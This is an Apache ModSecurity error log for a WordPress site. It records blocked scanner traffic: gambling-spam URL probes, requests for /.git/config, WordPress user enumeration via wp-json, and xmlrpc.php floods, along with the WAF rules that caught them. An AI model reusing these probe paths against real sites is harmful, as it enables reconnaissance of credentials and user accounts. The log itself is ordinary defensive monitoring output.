[Fri May 15 15:52:30.807899 2026] [:error] [pid 9307:tid 9375] [client 94.154.239.69:38172] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agbQviC43jY1IRzK5VZGOgAAAMo"]
[Fri May 15 15:52:33.411639 2026] [:error] [pid 30240:tid 30264] [client 94.154.239.69:43918] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "agbQwa8ckHvaA6bpewtJSwAAAVY"]
[Fri May 15 15:52:36.020963 2026] [:error] [pid 30240:tid 30261] [client 94.154.239.69:43934] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agbQxK8ckHvaA6bpewtJTgAAAVM"]
[Fri May 15 15:52:38.624789 2026] [:error] [pid 30208:tid 30226] [client 94.154.239.69:43942] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "agbQxpmLMCJujX-JTvgeHgAAAJA"]
[Fri May 15 15:52:41.226402 2026] [:error] [pid 9305:tid 9349] [client 94.154.239.69:43954] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "agbQyd5FZyBmdCM8GsF-1QAAAEs"]
[Fri May 15 15:52:43.833737 2026] [:error] [pid 30272:tid 30288] [client 94.154.239.69:53122] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "agbQy3vc_jSFaQ_7_we0BwAAAY4"]
[Fri May 15 15:52:46.429710 2026] [:error] [pid 30240:tid 30262] [client 94.154.239.69:53126] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "agbQzq8ckHvaA6bpewtJUQAAAVQ"]
[Fri May 15 15:52:49.024687 2026] [:error] [pid 30272:tid 30297] [client 94.154.239.69:53132] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "agbQ0Xvc_jSFaQ_7_we0CwAAAZc"]
[Fri May 15 15:52:51.641852 2026] [:error] [pid 30272:tid 30282] [client 94.154.239.69:59504] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "agbQ03vc_jSFaQ_7_we0DwAAAYg"]
[Fri May 15 15:53:25.485109 2026] [:error] [pid 9392:tid 9416] [client 94.154.239.69:59508] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "agbQ9dBWJIjH1U9zGfauxwAAARY"]
[Fri May 15 15:53:27.875667 2026] [:error] [pid 30272:tid 30285] [client 94.154.239.69:39366] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agbQ93vc_jSFaQ_7_we0QQAAAYs"]
[Fri May 15 15:53:30.499561 2026] [:error] [pid 9392:tid 9401] [client 94.154.239.69:39378] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agbQ-tBWJIjH1U9zGfauzAAAAQc"]
[Fri May 15 15:53:33.092607 2026] [:error] [pid 30240:tid 30248] [client 94.154.239.69:36316] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agbQ_a8ckHvaA6bpewtJewAAAUY"]
[Fri May 15 15:53:35.698792 2026] [:error] [pid 30272:tid 30289] [client 94.154.239.69:36320] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agbQ_3vc_jSFaQ_7_we0SgAAAY8"]
[Fri May 15 15:53:38.301554 2026] [:error] [pid 30272:tid 30297] [client 94.154.239.69:36328] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agbRAnvc_jSFaQ_7_we0VgAAAZc"]
[Fri May 15 17:31:15.867964 2026] [:error] [pid 9304:tid 9318] [client 43.153.10.13:40118] [client 43.153.10.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agbn49zcINh7UFIbVoGRiAAAAAg"]
[Fri May 15 18:53:24.974721 2026] [:error] [pid 9305:tid 9361] [client 35.244.68.181:33814] [client 35.244.68.181] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "agb7JN5FZyBmdCM8GsGJ6QAAAFc"]
[Fri May 15 19:34:46.222703 2026] [:error] [pid 9305:tid 9351] [client 159.112.133.109:55098] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "agcE1t5FZyBmdCM8GsGMvwAAAE0"]
[Fri May 15 19:34:49.371988 2026] [:error] [pid 9304:tid 9323] [client 159.112.133.109:48968] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "agcE2dzcINh7UFIbVoGYqgAAAA0"]
[Fri May 15 19:34:52.826353 2026] [:error] [pid 9304:tid 9322] [client 159.112.133.109:38788] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "agcE3NzcINh7UFIbVoGYswAAAAw"]
[Fri May 15 19:34:56.434131 2026] [:error] [pid 9304:tid 9330] [client 159.112.133.109:38798] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "agcE4NzcINh7UFIbVoGYuAAAABQ"]
[Fri May 15 19:34:59.540280 2026] [:error] [pid 30240:tid 30264] [client 159.112.133.109:38802] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "agcE468ckHvaA6bpewtjJgAAAVY"]
[Fri May 15 19:35:02.938035 2026] [:error] [pid 30240:tid 30257] [client 159.112.133.109:54358] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "agcE5q8ckHvaA6bpewtjLAAAAU8"]
[Fri May 15 19:35:06.395503 2026] [:error] [pid 30208:tid 30222] [client 159.112.133.109:54368] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "agcE6pmLMCJujX-JTvgyMAAAAIw"]
[Fri May 15 19:35:10.566979 2026] [:error] [pid 9392:tid 9410] [client 159.112.133.109:54382] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "agcE7tBWJIjH1U9zGfbQhAAAARA"]
[Fri May 15 19:35:14.044400 2026] [:error] [pid 9305:tid 9345] [client 159.112.133.109:33226] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "agcE8t5FZyBmdCM8GsGMzwAAAEc"]
[Fri May 15 19:35:16.879985 2026] [:error] [pid 30208:tid 30221] [client 159.112.133.109:33242] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "agcE9JmLMCJujX-JTvgyNAAAAIs"]
[Fri May 15 19:35:19.815488 2026] [:error] [pid 9305:tid 9354] [client 159.112.133.109:33244] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "agcE995FZyBmdCM8GsGM0wAAAFA"]
[Fri May 15 19:35:22.707172 2026] [:error] [pid 9304:tid 9315] [client 159.112.133.109:48268] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "agcE-tzcINh7UFIbVoGYxwAAAAU"]
[Fri May 15 19:35:26.031332 2026] [:error] [pid 30272:tid 30290] [client 159.112.133.109:48276] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "agcE_nvc_jSFaQ_7_wfk1gAAAZA"]
[Fri May 15 19:35:29.387976 2026] [:error] [pid 30272:tid 30296] [client 159.112.133.109:48284] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "agcFAXvc_jSFaQ_7_wfk2gAAAZY"]
[Fri May 15 19:35:33.159035 2026] [:error] [pid 30240:tid 30256] [client 159.112.133.109:43882] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "agcFBa8ckHvaA6bpewtjNAAAAU4"]
[Fri May 15 19:35:36.588556 2026] [:error] [pid 9307:tid 9386] [client 159.112.133.109:43884] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "agcFCCC43jY1IRzK5VZWpAAAANU"]
[Fri May 15 19:35:39.625976 2026] [:error] [pid 9392:tid 9406] [client 159.112.133.109:43900] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agcFC9BWJIjH1U9zGfbQjgAAAQw"]
[Fri May 15 19:48:00.727368 2026] [:error] [pid 9392:tid 9417] [client 162.14.66.219:39248] [client 162.14.66.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agcH8NBWJIjH1U9zGfbSewAAARc"]
[Fri May 15 22:16:31.037348 2026] [:error] [pid 30272:tid 30281] [client 43.167.245.18:35820] [client 43.167.245.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agcqv3vc_jSFaQ_7_wcC5AAAAYc"]
[Sat May 16 01:06:49.295686 2026] [:error] [pid 30240:tid 30247] [client 35.234.184.229:55600] [client 35.234.184.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.184.229, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agdSqa8ckHvaA6bpewuFlQAAAUU"]
[Sat May 16 01:06:52.496043 2026] [:error] [pid 30240:tid 30248] [client 35.234.184.229:55600] [client 35.234.184.229] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agdSrK8ckHvaA6bpewuFmAAAAUY"]
[Sat May 16 01:06:52.714830 2026] [:error] [pid 30240:tid 30261] [client 35.234.184.229:55600] [client 35.234.184.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.184.229, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agdSrK8ckHvaA6bpewuFmQAAAVM"]
[Sat May 16 01:06:54.601071 2026] [:error] [pid 9392:tid 9397] [client 35.234.184.229:56971] [client 35.234.184.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.184.229, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agdSrtBWJIjH1U9zGfb9MQAAAQM"]
[Sat May 16 01:06:56.459326 2026] [:error] [pid 30208:tid 30218] [client 35.234.184.229:57128] [client 35.234.184.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.184.229, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agdSsJmLMCJujX-JTvhNbgAAAIg"]
[Sat May 16 01:06:58.212522 2026] [:error] [pid 30208:tid 30232] [client 35.234.184.229:56023] [client 35.234.184.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.184.229, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agdSspmLMCJujX-JTvhNcQAAAJY"]
[Sat May 16 01:07:00.031585 2026] [:error] [pid 30272:tid 30295] [client 35.234.184.229:63814] [client 35.234.184.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.184.229, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agdStHvc_jSFaQ_7_wcilAAAAZU"]
[Sat May 16 01:07:00.031864 2026] [:error] [pid 30272:tid 30295] [client 35.234.184.229:63814] [client 35.234.184.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.234.184.229, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agdStHvc_jSFaQ_7_wcilAAAAZU"]
[Sat May 16 01:20:22.283628 2026] [:error] [pid 30272:tid 30274] [client 43.165.125.66:49192] [client 43.165.125.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agdV1nvc_jSFaQ_7_wcmwQAAAYA"]
[Sat May 16 01:59:22.832072 2026] [:error] [pid 30272:tid 30292] [client 158.173.67.21:39083] [client 158.173.67.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.173.67.21, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agde-nvc_jSFaQ_7_wcvUgAAAZI"]
[Sat May 16 04:11:07.186111 2026] [:error] [pid 24979:tid 25003] [client 34.74.255.80:44688] [client 34.74.255.80] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "agd927vSFUQiwLaOL2oTXwAAANY"]
[Sat May 16 05:01:58.380878 2026] [autoindex:error] [pid 5602:tid 5614] [client 70.153.136.253:57076] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat May 16 05:28:38.052513 2026] [:error] [pid 24979:tid 24992] [client 129.226.146.42:54572] [client 129.226.146.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ageQBrvSFUQiwLaOL2oiagAAAMs"]
[Sat May 16 07:12:46.532779 2026] [:error] [pid 24869:tid 24909] [client 188.213.202.20:32099] [client 188.213.202.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.213.202.20, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ageobuxo3FMprMltYl4IQwAAAEE"], referer: https://vetstars.com.au/
[Sat May 16 08:20:18.960932 2026] [:error] [pid 24867:tid 24890] [client 175.27.163.171:36654] [client 175.27.163.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "age4QiDgFLCgyKq-zmb6zgAAAAk"]
[Sat May 16 09:25:25.645293 2026] [:error] [pid 5602:tid 5616] [client 94.103.87.20:45174] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agfHhdzTTsu77r3UIsn70wAAAQw"]
[Sat May 16 09:25:29.559902 2026] [:error] [pid 24874:tid 24936] [client 94.103.87.20:56674] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agfHiciii6x3XidYGHG9ogAAAIE"]
